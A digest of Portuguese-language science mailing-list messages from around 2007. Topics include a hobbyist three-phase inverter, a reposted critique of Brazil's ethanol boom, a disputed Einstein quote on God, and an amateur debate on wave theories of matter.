SUBJECT: RES: [ciencialist] Re: Inversor trifásico mínimo
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/06/2005 15:51

Caro TipoAlgo,





> Obrigado Murilo, você salvou o meu entusiasmo neste assunto neste
grupo. Acho que eletrônica não é bem a praia dos companheiros do
grupo.

Victor: O Murilo, parece-me, é muito focado nesses assuntos, que são
tratados através de um ramo da eletrônica muito especializado, que é a
Eletrônica de Potência. Muito especializado mesmo e não muito fácil.

Certamente, deve ser por isso que se estabelecem aqueles silêncios
sepulcrais, neste e noutros sites... Particularmente, tenho visto seus
esquemas, que são interessantes. Contudo, como não mexo com essas coisas há
muitos anos, faltam-me conhecimentos técnicos específicos para emitir
pareceres a respeito. Mas seu nível técnico, o que dá para inferir não só
pelos esquemas eletrônicos que desenhou como pela fluência com que fala dos
componentes, o que denota conhecimento, é muito bom. E acho que você não
deve deixar de comunicar os resultados de seus trabalhos. Certamente o Léo
apreciará, com vistas aos seu site.



>O problema é que no grupo Eletrônicabr o pessoal também, como
você uma vez disse, não deram "nem um peidinho"! Acho que a culpa é
minha por não ter feito nenhuma pergunta



Victor: Estou freqüentando o Eletrônicabr. Vou lá vez ou outra. E também
estranhei a ausência de comentários a respeito, vez que, suponho, os
participantes devem ser, teoricamente, afeitos a coisas de eletrônica,
principalmente eletrônica de potência. Possivelmente não se trata, apenas,
de falta de interesse. Mas, talvez, de falta de conhecimentos técnicos
específicos até para fazer perguntas a respeito. Talvez estejam estudando-o
e as perguntas venha depois. Quem sabe?



Parabéns pelo trabalho, e que continue desenvolvendo coisas assim.



Sds,

Victor.







De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Tipoalgo
Enviada em: domingo, 10 de junho de 2007 07:00
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Re: Inversor trifásico mínimo



Olá Murilo e a todos!

> blz?

Beleza, e com você?

> Não entendo grandes coisas, apesar de já ter visto muitos circuítos.
> Minha preocupação era sempre o dimensioamento dos conjuntos e
dissipadores (
> stacks ).

Eu estou usando o MOSFET IRFZ44. Ele pode conduzir até 49A e suporta
até 55V de tensão entre dreno e fonte. A sua resistência na condução
máxima é baixíssima, 0,017 ohms. Logo a sua potência dissipada em
plena condução é 40W (R.I.I=0,017.49.49=40W). Para reduzir ainda mais
essa resistência de condução eu coloquei, 4 MOSFETs em paralelo,
montados num dissipador de CPU de computador, Ou seja, posso conduzir
até 49 x 4 = 196A em cada fase. Como não estou usando ainda essa
corrente toda, eles trabalham com bastante folga e não esquentam.
Estou trabalhando com 30A AC por fase.

> Se não me engano, os moss, ou igbt, ou scr, na inversão, podem, ou
devem,
> trabalhar com um diodo retificador em anti-paralelo ( de igual
capacidade de
> corrente e tensão ).
> Também sei que esses diodos devem ser fast-switching, para entrarem
e saírem
> muito rapidamente do estado de condução antes de qualquer dano aos
> componentes acima, todos com circuítos muito similares. Os diodos
servem
> também para aliviar a tensão reversa sobre os comp. que comutam.

Os IRFZ44 já possuem esse diodo internamente.

> Me parece que a indução da carga também ''pede'' alta capacitância e
já ví
> capacitores serem simulados com barramentos de alta área, fixados e
> isolados, bem perto um do outro.
> Dê uma olhada nos sites da Semikron Brasil e/ou Alemanha, pq tem
muita coisa
> lá.
> A ''IR'' e a Elpec também devem ter muita coisa.

Essa alta capacitância, se estou certo, deve ser para corrigir o fator
de potência. Evitando-se perdas para vencer a componente reativa.
Ainda não tinha pensado nem lido sobre isto. Vou consultar os sites
que você indicou.

> Se não me engano, há algumas semanas, vc falou em transformar motores
> trifásicos em GERADORES!
> Foi isso mesmo, ou entendí mal? Isso é coisa altamente interessante!!!

Já li sobre a experiência do eng. Fendel (www.fendel.com.br). Ele
disse que um motor de indução assíncrono alimentado normalmente e
forçado a girar acima da sua velocidade máxima transforma-se em
gerador, ou seja, o "relógio" passa a girar ao contrário. Ele disse
que usa esse sistema clandestinamente numa microhidroelétrica na sua
fazenda a muito anos. Por isso ele defende com muito entusiasmo a
Enerede, onde os pequenos produtores de eletricidade fariam parte da
rede de transmissão, sem as burocracias que inviabilizam o negócio.

> Parabens e boa sorte! M. SP 09/junh07

Obrigado Murilo, você salvou o meu entusiasmo neste assunto neste
grupo. Acho que eletrônica não é bem a praia dos companheiros do
grupo. O problema é que no grupo Eletrônicabr o pessoal também, como
você uma vez disse, não deram "nem um peidinho"! Acho que a culpa é
minha por não ter feito nenhuma pergunta.

Valeu!
Tipoalgo





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: ETANOL: o novo ouro do tolo?
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <redeliberal@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 09/05/2007 16:12

Grupos.com.br
transcrevo do CEPEC - <cepec.cepec@gmail.com >


Etanol: O novo ouro de tolo?


Marco Piva *

Adital - O ex-gerente de loja do Pizza Hut e criador da AOL, Steve Case, falou com James Wolfensohn, que enriqueceu no mercado financeiro e presidiu o Banco Mundial entre 1995 e 2005. Ambos conversaram com o indiano Vinod Kohsla, criador da Sun Microsystems e um dos ban-ban-bans do Vale do Silício. O papo se estendeu a Ronald Burkle, amigo do peito do ex-presidente Bill Clinton, dono de um Boeing 757 com suíte e freqüentador assíduo das colunas sociais pelas companhias femininas que carrega a tiracolo. Ao grupo, se somou o produtor de cinema Steve Bing, cuja maior obra na telona foi engravidar a modelo e atriz inglesa Elizabeth Hurley. Em comum, eles têm o interesse de gerar bons e rentáveis negócios, de preferência em iniciativas que não prejudiquem o meio ambiente. Escolheram o Brasil, onde se uniram a Ricardo Semler, do grupo Semco, e a David Zylbersztajn, que traz no currículo pessoal a condição de ex-genro de Fernando Henrique Cardoso e, no currículo de trabalho, a presidência da Agência Nacional do Petróleo, Gás Natural e Biocombustíveis (ANP), no governo do ex-sogro. Para gerenciar o grupo, convidaram um ex-presidente da Petrobras da era tucana, Henri Phillippe Reichstul. E pronto! Estava formado o fundo de investimento Brasil Energy, com perspectiva de investimento de dois bilhões de dólares no país e a missão de identificar oportunidades na nova vedete econômica do Brasil: o etanol. Para cumprir a primeira etapa do projeto, foram investidos 200 milhões de dólares na constituição da Companhia Brasileira de Energia Renovável, a Brenco. A meta é construir 15 novas usinas e apostar no barateamento da produção em até 40% com a introdução de novas tecnologias.As perspectivas do produto em escala mundial fizeram a trading Noble Group, de Hong Kong, desistir de produzir etanol na China e redirecionar seus investimentos de 200 milhões de dólares para o Brasil. A companhia, que funciona como intermediária na venda de álcool brasileiro para os Estados Unidos via Caribe, já deu o primeiro passo: comprou por US$ 70 milhões a Usina Pertibru, no interior de São Paulo, e pretende construir uma destilaria com capacidade para produzir 378 milhões de litros.

Nacionalmente, os conglomerados econômicos também se movimentam. O Grupo Cosan, com 17 usinas de açúcar e álcool, é a maior companhia sucroalcooleira do país e a segunda em produção de açúcar do mundo. Nos próximos cinco anos vai investir dois bilhões de dólares em novas unidades. No início do ano, a Petrobras assinou contrato com a japonesa Mitsui, uma poderosa trading mundial, e programa a instalação de 40 usinas de produção de álcool até 2012. O negócio está avaliado em outros dois bilhões de dólares. Numa conta rápida, somente a introdução deste artigo soma US$ 6,2 bilhões de investimentos num prazo relativamente curto para os padrões da economia de mercado.

Agora, o que isto significa de verdade para o Brasil, para os brasileiros, para as relações de trabalho, para a saúde do trabalhador e para o meio ambiente? Estas questões têm sido pouco discutidas publicamente pelos investidores e pelo próprio governo federal, um declarado entusiasta desta nova moeda de escambo internacional. De olho especialmente nos lucros, não é de se esperar que os empresários levantem, por si só, a bandeira, por exemplo, da melhoria das condições de trabalho no corte da cana-de-açúcar. Ou das conseqüências da atividade para o meio ambiente. Faz parte do chamado "espírito animal" do empresário de qualquer país, como sempre lembra Delfim Netto, encontrar o melhor tipo de investimento.

Mesmo assim, até eles estão se precavendo. Consultorias especializadas na área ambiental confirmam o aumento de solicitações do setor sucroalcooleiro nacional e de investidores estrangeiros. Os estudos precisam fazer parte do famoso "business plan", principalmente quando isto envolve muito dinheiro de fora. Em entrevista à repórter Andrea Vialli, do Estadão, o consultor Roberto Paschoali diz que "ninguém vai querer comprar açúcar e álcool de regiões como as áreas devastadas da Amazônia Legal. A preocupação com a sustentabilidade deve estar presente desde o início dos empreendimentos". Segundo ele, a falta de atenção às questões sócio-ambientais pode se converter em barreiras não-tarifárias lá fora. "O Brasil, como líder mundial na produção de álcool, está mais exposto. E as questões sócio-ambientais são bastante cobradas pelos países ricos".

A Companhia de Tecnologia de Saneamento Ambiental (Cetesb), vinculada à Secretaria do Meio Ambiente do Estado de São Paulo, já avisou que vai criar este ano dez novos pontos de monitoramento e fiscalização. O estado é o maior produtor do país e faz parte da região Centro-Sul, que tem batido sucessivos recordes com o funcionamento de 248 usinas. A safra regional 2006/2007 alcançou 371 milhões de toneladas de cana-de-açúcar, um aumento de 10,14% em relação à colheita anterior. Mas, alguém pode afirmar com segurança o que pensa o governo federal a respeito do assunto? A repetição dos mesmos argumentos dos produtores ajuda: é um combustível barato, não poluente e renovável. Porém, isto não explica tudo.

Internamente, a preocupação no Ministério do Meio Ambiente é grande, embora ninguém expresse isso publicamente, especialmente quando as notícias de investimento no setor só têm aumentado. O fato de o país possuir ainda uma grande área para a ampliação da produção da cana-de-açúcar e o preço competitivo do etanol brasileiro são motivos suficientes para euforia. É preciso, no entanto, perguntar a que preço.

O notebook da ministra-chefe da Casa Civil, Dilma Roussef, tem um arquivo somente com o nome dos investidores do exterior que estão aportando no país, comprando usinas e formando um estoque de terras que rende uma valorização acelerada, na linha da especulação típica das zonas urbanas. A concorrência sem limites pode levar à descapitalização do produtor nacional. Segundo uma fonte próxima ao Palácio do Planalto, o trabalho de Dilma foi feito a partir de um pedido do próprio presidente Lula, que é empolgado com a nova moeda verde, mas sabe que tem a responsabilidade de pensar o desenvolvimento de uma forma sustentável e a longo prazo.

É comum quando acontece o boom de um produto que ele se transforme em commodity badalada. O caso do etanol é emblemático. Alçado à condição de "combustível do futuro", ainda não conquistou essa posição. E aí surge outra pergunta: é necessário? O potencial da cana não pode se transformar em uma armadilha. O país precisa se preparar estrategicamente. Vale colocar, então, a pergunta, própria de uma economia de mercado: qual é o "business plan" do governo federal para a questão do etanol? Existem pesquisas em andamento para ampliar a rentabilidade do álcool nacional ou incluir outras matérias-primas na produção do etanol, como é o caso da celulose?

A monocultura da cana-de-açúcar foi a grande fonte de riqueza dos colonizadores portugueses na primeira etapa da ocupação do Brasil. Junto com ela, vieram a escravidão e as mazelas sociais que têm conseqüências até hoje e que atinge de modo especial os descendentes afrobrasileiros. A situação não foi diferente com o café, cujo símbolo maior - as mansões na avenida Paulista - deu lugar, décadas depois, aos grandes prédios por onde desfilam os principais nomes da banca internacional. E, agora, estamos a caminho de quê?

O físico Bautista Vidal, um dos criadores do Proálcool, reconhece o potencial do Brasil em oferecer uma alternativa renovável ao mundo. "Nosso país está predestinado a ser a grande potência energética de combustíveis líquidos. Está no único continente tropical que tem água doce em grande quantidade, é o único com um território agrícola gigantesco e tem a melhor tecnologia do mundo", afirma. Mas, ao mesmo tempo, é pessimista sobre os acordos comerciais nessa área, especialmente com os Estados Unidos que, segundo ele, fazem política do séxulo XIX. "Quando está em jogo a soberania do país, o Evo Morales levanta da cadeira e diz não. Os índios lá da Bolívia falaram: 'Não, aqui não'. Nós estamos abrindo as pernas. Os militares, em outro período, não entregaram a energia estratégica ao estrangeiro, nunca permitiram isso. Agora, o pior é entregar o território. Aí o Brasil desaparece. E a grande imprensa defende uma coisa dessas. É inacreditável", desabafa Vidal.

Já as condições de trabalho na produção da cana-de-açúcar representam uma espécie de corrida de obstáculos. Depende muito da fiscalização, de um lado, e da mudança de um tipo de relação antiga entre patrões e empregados, de outro. Na região Nordeste, que já foi predominante no setor e vem perdendo espaço safra após safra, foram encontrados casos de trabalho análogo à escravidão, na definição da Organização Internacional do Trabalho (OIT), que lidera no Brasil um esforço contra esse tipo de contratação que fere a dignidade humana.

A situação é menos grave no Centro-sul, que tem a dianteira da produção nacional, com investimentos nacionais e estrangeiros crescentes. Mesmo assim, a Pastoral do Migrante registrou a morte de17 cortadores nos canaviais paulistas na safra 2005/2006. Motivo: excesso de trabalho. A média de corte individual na região, que já foi de quatro toneladas na década de 80, agora é de 12 toneladas/dia, com uma carga de oito horas diárias. Em média, o trabalhador recebe R$ 2,44 por tonelada cortada. De acordo com o levantamento da Fundacentro, órgão que acompanha a saúde do trabalhador e é ligado ao Ministério do Trabalho e Emprego, um cortador dá 30 golpes de facão por minuto. São movimentos repetitivos, debaixo do sol e com quase nenhum tempo de descanso. Não é difícil imaginar por que uma pessoa morre no canavial. "O açúcar e o álcool no Brasil estão banhados de sangue, suor e morte", afirma a pesquisadora Maria Cristina Gonzaga, da Fundacentro.

Em favor dos usineiros, vale o registro: a situação melhorou nas unidades que profissionalizaram sua gestão. As exigências do Ministério Público do Trabalho e a fiscalização do Ministério do Trabalho e Emprego têm gerado diretrizes que já foram incorporadas pelas principais empresas. Os chamados EPIs (equipamentos de proteção industrial) já fazem parte da paisagem de muitos canaviais. O presidente da União da Indústria da Cana-de-açúcar de São Paulo, Eduardo de Carvalho, diz que o trabalho na lavoura é regulado por contratos coletivos com os sindicatos. Os acordos estabelecem o piso mínimo da safra.

Por outro lado, é preciso fazer com que o cortador entenda e aceite as novas normas de segurança em sua rotina. Acostumados secularmente a cortar cana sem óculos protetores e sem luvas, muitos trabalhadores acham que "isso atrapalha". Se o chefe da equipe afrouxa, é meio caminho andado para multa pesada. Um exemplo é a Usina Santa Cruz, em Campos (RJ), que foi multada em 2004 porque dois de seus quase 800 trabalhadores estavam sem luvas no canavial. Motivo: tinham esquecido no alojamento. Como o trabalhador ganha por produção, além do salário mínimo fixo, fazê-lo voltar para pegar o equipamento de segurança compromete a sua renda e a de seu chefe de equipe.

Ainda no ambiente de trabalho, existem situações que precisam de acompanhamento e solução. Embora boa parte dos trabalhadores seja registrada na época da safra, é comum encontrar casos de empregados na informalidade. E são dois os motivos para que isto aconteça: ou o usineiro não está nem aí ou o próprio trabalhador não quer o registro para poder, naquela época de corte, ganhar um pouco a mais. Se o empregador opera a contratação por meio de terceiros, os famosos "gatos", ele corre o sério risco de ser multado e acusado de praticar trabalho análogo à escravidão.

São muitas as questões que demandam respostas, e de preferência a curtíssimo prazo. A participação do álcool no Brasil como fonte alternativa de combustível está consolidada, depois de uma história de idas e vindas que começou com o Proálcool, na década de 70. Em 2006, os veículos leves com o sistema flexfuel representaram 78% das vendas. Até o final de 2007, segundo a Anfavea, que reúne as principais montadoras, quatro milhões de veículos que combinam álcool e gasolina estarão rodando nas ruas e estradas do país. Isto sem contar que a gasolina tem em sua composição 25% de álcool anidro, irmão do álcool hidratado vendido nas bombas dos postos de combustíveis.

Não é difícil imaginar os motivos do apetite internacional pelo etanol brasileiro. Resta saber se nos âmbitos público e privado saberemos usar esse potencial de forma criativa e estratégica. Caso contrário, uma vez mais, irá prevalecer a lógica do imediatismo, que gera lucros exorbitantes no início para depois deixar a conta para a sociedade.

* Jornalista e apresentador do programa "Mobilização Brasil" (TVE Brasil)

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/05/2007 16:43

Ô Vitor:

Você me fez lembrar um fato, muito comentado nas biografias de Einstein que, numa bela tarde de sol, sentado em um banco de jardim, ele divagava pelo universo quando seu neto pediu uma ajuda para resolver um problema de aritimética: Ele chamou a mãe do menino e pediu auxílio a ela, pois não entendia o problema....

boa tarde,

silvio.
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Monday, May 07, 2007 3:08 PM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus


Sílvio,

O gritou que escreví não é um gritoooou!. É um gritou fuleiro, bem baixinho, quase sussurando. Se brincar, nem isso. .
Contudo, a bem da verdade, nunca lí em lugar nenhum que ele tenha se expressado do jeito postado aquí. O que ele professava
era uma religiosidade peba, à moda de Spinoza, como bem lembrou o Bulcão. Quanto a "era calmo, pacífico, muito humor... "
você tem razão.

Sds,
Victor.

----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Monday, May 07, 2007 10:12 AM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus

Vitor:

Reservo-me o direito de duvidar que o grande mestre tenha gritado. Não era do seu feitio: era calmo, pacífico, muito humor... Leia suas biografias. Sobre deus, não entro no mérito.

bom dia,

silvio.
3
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, May 06, 2007 9:53 PM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus

Olá,

Einstein gritou: *«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
pretende deduzir de minhas teorias científicas não as entendeu. Creio num
Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
ideologia ateia.

Victor: ...Também niguém é perfeito.

Sds,

Victor.

----- Original Message -----
From: Esteban Moreno
To: undisclosed-recipients:
Sent: Sunday, May 06, 2007 8:45 PM
Subject: [ciencialist] A idéia que Einstein fazia de Deus

A idéia que Einstein fazia de Deus
<http://www.ansiao.net/einstein.jpg>

*«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
pretende deduzir de minhas teorias científicas não as entendeu. Creio num
Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
ideologia ateia.

Não há oposição entre a ciência e a religião.
Apenas há cientistas atrasados, que professam ideias que datam de 1880.

Aos dezoito anos, eu já considerava as teorias sobre o evolucionismo
mecanicista e casualista como irremediavelmente antiquadas.

No interior do átomo não reinam a harmonia e a regularidade que esses
cientistas costumam pressupor. Nele se depreendem apenas leis prováveis,
formuladas na base de estatísticas reformáveis. Ora, essa indeterminação, no
plano da matéria, abre lugar à intervenção de uma Causa, que produza o
equilíbrio e a harmonia dessas reações dissemelhantes e contraditórias da
matéria.

Há, porém, várias maneiras de se representar Deus. Alguns o representam como
o Deus mecânico, que intervém no mundo para modificar as leis da natureza e
o curso dos acontecimentos. Querem pô-lo ao seu serviço, por meio de
fórmulas mágicas. É o Deus de certos primitivos, antigos ou modernos. Outros
o representam como o Deus jurídico, legislador e agente policial da
moralidade, que impõe o medo e estabelece distâncias. Outros, enfim, como o
Deus interior, que dirige por dentro todas as coisas e que se revela aos
homens no mais íntimo da consciêncía.
-
A mais bela e profunda emoção que se pode experimentar é a sensação do
místico. Este é o semeador da verdadeira ciência. Aquele a quem seja
estranha tal sensação, aquele que não mais possa sonhar e ser empolgado pelo
encantamento, não passa, em verdade, de um morto.

Saber que realmente existe aquilo que é impenetrável a nós, e que se
manifesta como a mais alta das sabedorias; a mais radiosa das belezas, que
as nossas faculdades embotadas só podem entender em suas formas mais
primitivas: esse conhecimento, esse sentimento, está no centro mesmo da
verdadeira religiosidade.

A experiência cósmica religiosa é a mais forte e a mais nobre fonte de
pesquisa científica. Minha religião consiste em humilde admiração do
espírito superior e ilimitado que se revela nos menores detalhes que podemos
perceber em nossos espíritos frágeis e incertos. Essa convicção,
profundamente emocional na presença de um poder racionalmente superior, que
se revela* no* incompreensível, é a ideia que faço de Deus».*

[As partes desta mensagem que não continham texto foram removidas]

[As partes desta mensagem que não continham texto foram removidas]

----------------------------------------------------------

No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.467 / Virus Database: 269.6.5/792 - Release Date: 6/5/2007 21:01

[As partes desta mensagem que não continham texto foram removidas]

[As partes desta mensagem que não continham texto foram removidas]






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No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.467 / Virus Database: 269.6.5/792 - Release Date: 6/5/2007 21:01


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: USP lança dossiê sobre energia no Brasil
FROM: Luiz Eduardo <lercarvalho@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/05/2007 16:52


>
>A Revista Estudos Avançados da USP, traz dossiê sobre energia no Brasil.
>Confiram.
>http://www.iea.usp.br/iea/revista/rev59.html



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SUBJECT: Re: [ciencialist] T.O.M.; era [ E=m.c2 ]
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/05/2007 17:20

Oi Eduardo,

se associarmos ao elétron uma 'fita material' (um anel) eu enxergo como podemos ter ondas estacionárias 'sem reflexão'. Veja nesse link meu modelo disso:
http://www.feiradeciencias.com.br/sala10/10_50.asp que foi usado pela Comciencia em:
www.comciencia.br/reportagens/fisica/fisica07.htm .

Preparei esse experimento para o elétron em órbita mas, pensando bem pode ser aplicado ao próprio elétron, imaginando-o como sendo uma 'aro flexível material'.
Nessa hipótese, enxergo tb a possibilidade da 'reflexão' de uma onda ao chocar-se com tal 'aro'.

que diz?

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 9 de maio de 2007 12:37
Assunto: Re: [ciencialist] T.O.M.; era [ E=m.c2 ]


Pelo que eu saiba não, Prof. Luiz.

O modelo 'De Broglie refere-se às ondas associadas aos eletrons em movimento ao redor do núcleo. A Teoria Ondulatória da Materia (TOM) sugere que o próprio elétron é um onda estacionária tridimensional.

Esta constatação não interfere com as idéias 'De Broglie. Mas simplificaria significamente a explicação do porquê uma onda eletromagnética é absorvida por um eletron e re-emitida em seguida, sem a necessidade de utilizar a idéia de fótons. Explicaria tb inúmeros fenômenos relatados recentemente, como por exemplo os experimentos de Afshar.

Em outras palavras, na TOM não existem quantuns, só e tão somente ondas.

O que intriga a imaginação prof Luiz, é como uma onda pode se tornar estacionária sem um anteparo.

Explicando: se vc mantém água parada em uma bacia e em seguida joga uma pedra nela, a onda gerada irá até a borda da bacia e voltará ao ponto de origem... o processo se repetirá até que o atrito páre a onda. Isto seria uma onda estacionária de 2 dimensões que tem as bordas da bacia como anteparo.

Imaginado a bacia como o sendo Universo e a água como sendo o Ether, pela TOM, o elétron seria o ápice de onda estacionária de 3 dimensões. Está é uma explicação plausível e até elegante, mas falha quando se tenta explicar o porquê uma onda normal é refletida em uma estacionária.

Por exemplo: a luz (onda normal) é refletida no espelho que é composto de partículas (ondas estacionárias). Fazendo uma analogia com a bacia d'água, uma outra onda apenas se superporia sobre a primeira. Não haveria reflexão... ou será que estou enganado?

É possível que uma onda comum possa ser refletida nos ápices ou nós de uma onda estacionária?

Em tempo: atualmente tenho devotado mais tempo visitando seu site do que assistindo a Globo. Tenha essa informação como um elogio. (risos)

Um forte abraço,

Eduardo Sardeiro



----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, May 09, 2007 6:56 AM
Subject: [ciencialist] T.O.M.; era [ E=m.c2 ]


Essa thread despertou-me uma pergunta associada ao texto a seguir:

>Imagine um universo que não exista inércia? Ou
onde não exista velocidade máxima? Quais as
conseqüências disto?

Imediatamente pensei nos jogos eletrônicos onde os 'personagens' sofrem desvios imediatos de 90º; não há uma curva suave passando de uma direção para outra ... é brusco!
Não tenho dúvida que isso ocorre no TRC devido à minúscula inércia do elétron sob a ação do campo elétrico das placas defletoras (ou do campo magnético do yoke nos tubos de TV).
Minha pergunta é: Que deveríamos fazer para poder 'visualizar' no anteparo fluorescente do TRC essa 'minúscula' curva que o elétron deve fazer devido à sua insignificante inércia?

Meu pensamento voou um pouco além. Vamos imaginar um TRC diferente, um tubo onde os elétrons fossem substituídos por íons cuja inércia supera tremendamente aquela dos elétrons. Nesse 'novo TRC' as 'curvinhas' dos íons seriam visíveis na tela?

Curiosidade ........

Outra pergunta: O modelo das ondas estacionárias não é devido a De Broglie?

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 8 de maio de 2007 15:59
Assunto: Re: [ciencialist] Re: E=m.c2

Olá Alvaro,

Estamos chegando próximos de um entendimento!

A Teoria Ondulatória da Matéria visa ser uma outra
opção coerente e concreta para explicar os
fenômenos físicos, em contrapartida às explicações
apresentadas pela Física Quântica.

Existem inúmeras outras teorias que estão sendo
desenvolvidas por Físicos espalhados pelo globo.

Estas teorias estão se tornando particurlarmente
interessantes em Realidade Virtual, onde tornam
necessário ter-se teorias completas que possam
ser modeladas, programadas e executadas em
computadores.

Imagine um universo que não exista inércia? Ou
onde não exista velocidade máxima? Quais as
consequências disto?

Para que possamos entender e vislumbrar tais
universos, só criando teorias completas,
consistentes e detalhadas.

Criar leis Físicas para Realidades Virtuais não é o
objetivo principal destes trabalhos, mas considere.

A propósito, a Teoria Ondulatória da Matéria
fornece subsídios completos para modelar átomos de
hidrogênio, hélio ou qualquer outro. Se vc encontrou
alguma falha, por favor relate-nos.

Um forte abraço,

Eduardo Sardeiro
http://br.groups.yahoo.com/group/NetProcessing/

----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 2:31 PM
Subject: Re: [ciencialist] Re: E=m.c2

Essa hipótese da "onda estacionária" nada mais é do que uma maneira
diferente de escrever os postulados de Bohr. E o modelo do átomo de Bohr
funciona bem para o hidrogênio, razoavelmente bem para o hélio, mas falha
para todo o restante.

[ ]s

Alvaro Augusto

----- Original Message -----
From: "J.Victor" <j.victor.neto@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, May 08, 2007 2:21 PM
Subject: Re: [ciencialist] Re: E=m.c2

Sardeiro: A conclusão de que a matéria é uma onda
estacionária em trajetória fechada é algo
interessante. Contudo ela tb esbarra na
questão do 'recipiente' ou 'anteparo' da onda.
Ou estarei enganado? Na Teoria da Velocidade
Absoluta, o que faz a onda de energia refletir
para tornar-se estacionária?

Victor: Sinceramente, não sei. Vislumbro algumas
possibilidades, mas não me dediquei a pensar
sobre isso. Como disse, apenas achei interessante e tive o
trabalho de acompanhar o desenvolvimento matemático
que dá suporte à tese, vendo-lhe as consequências.
Mas sem engajamento ou algum interêsse sério.
Por razões óbvias. Mas fica a indicação, e quem pensa
assim não está só. É isso.

sds,
Victor.

----- Original Message -----
From: Eduardo Sardeiro
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 10:11 AM
Subject: Re: [ciencialist] Re: E=m.c2

Prezado Victor,

Fico satisfeito quando encontro ao menos uma
linha de pensamento em que posso dialogar e
arguir sem usar de analogias.

Ao contrário, fico indignado quando leio
frases do tipo "Daqui a uns cem anos essa
molecada chega na questão da dualidade onda-
partícula.", em plena época dos jogos
eletrônicos, tais quais o Next Generation, em
que uma realidade física é apenas isto: uma
entre várias possíveis.

Relevo isto quando penso o quanto somos
acomodados em conceber apenas um conjunto de
possibilidades para explicar os fenômenos
físicos, enquanto podem haver várias, todas
concorrentes entre si, exibindo resultados
equivalentes e possibilitando-nos entender um
Cosmos que é muito mais amplo e complexo do
que nossa vã filosofia.

Mudando de assunto, esta é a primeira vez que
leio um comentário a respeito da Teoria da
Velocidade Absoluta. Na Teoria Ondulatória da
Matéria, a velocidade da luz (c) tb é
considerada a única velocidade existente.
Todas as demais são consideradas resultantes
de c.

A conclusão de que a matéria é uma onda
estacionária em trajetória fechada é algo
interessante. Contudo ela tb esbarra na
questão do 'recipiente' ou 'anteparo' da onda.
Ou estarei enganado? Na Teoria da Velocidade
Absoluta, o que faz a onda de energia refletir
para tornar-se estacionária?

Grato,

Eduardo Sardeiro

----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 7:04 AM
Subject: Re: [ciencialist] Re: E=m.c2

JC,

"Hummm, a matéria é feita de ondas? Ondas de que? De matéria? :)"

O que irei adiantar, não corresponde ao que penso. Achei bastante
interessante,
por isso me animei a ler com atenção, a Teoria da Velocidade Absoluta, do
Professor
de telecomunicação Jaroslav Smit, autor de obras na área, como Ondas e
Antenas, Rádio e Propagação e Linhas de Comunicação, tudo da Èrica. Não sei
se se trata de engenheiro eletrônico que é físico, ou se é um físico que é
engenheiro eletrônico.
Numa pesquisa sobra antenas, encontrei, no Ondas e Antenas(e isso já faz
um bom tempo) noções de relatividade restrita, em vista do enfoque que dá à
Teoria do Eletromagnetismo. E também uma introdução à sua Teoria da
Velocidade Absoluta. Não uma velocidade qualquer, mas a das OEM, c, como era
para ser. Em suas palavras, página 251:

" A matéria, na Teoria da Velocidade Absoluta, é onda estacionária em
trajetória fechada.

Se esta matéria, onde não se percebe c externamente, for movida com
velocidade v, poderemos compor um triângulo de velocidades, incluindo c. Mas
ao compormos este triângulo de velocidades nota-se que a resultante, isto é,
a maior velocidade, ou hipotenua do triângulo, será forçosamente c. Assim,
as outras velocidades menores que c serão meros componentes de c.
Concluí-se, diz ele, que no mundo material não há velocidade independente de
c, já que no mundo material todas as velocidades são de matéria ou
energia.Podemos ilustrar com o modelo a seguir, estas várias velolcidades."
E seguem, três figuras:
a) Onda pura, representada por seta, para indicar a velocidade c;
b) Um círculo, para indicar a matéria em repouso, onde c é indicada por
uma seta apontando o sentido do movimento circular; e
c) algo como uma espiral, para indicar a matéria anima de velocidade v,
que aparece como um cateto do triângulo no qual a hipotenusa é c.

As seções seguintes exibem um estudo de triângulos onde tais idéias são
implementadas, matemática e geométricamente, em forma de catetos, com a
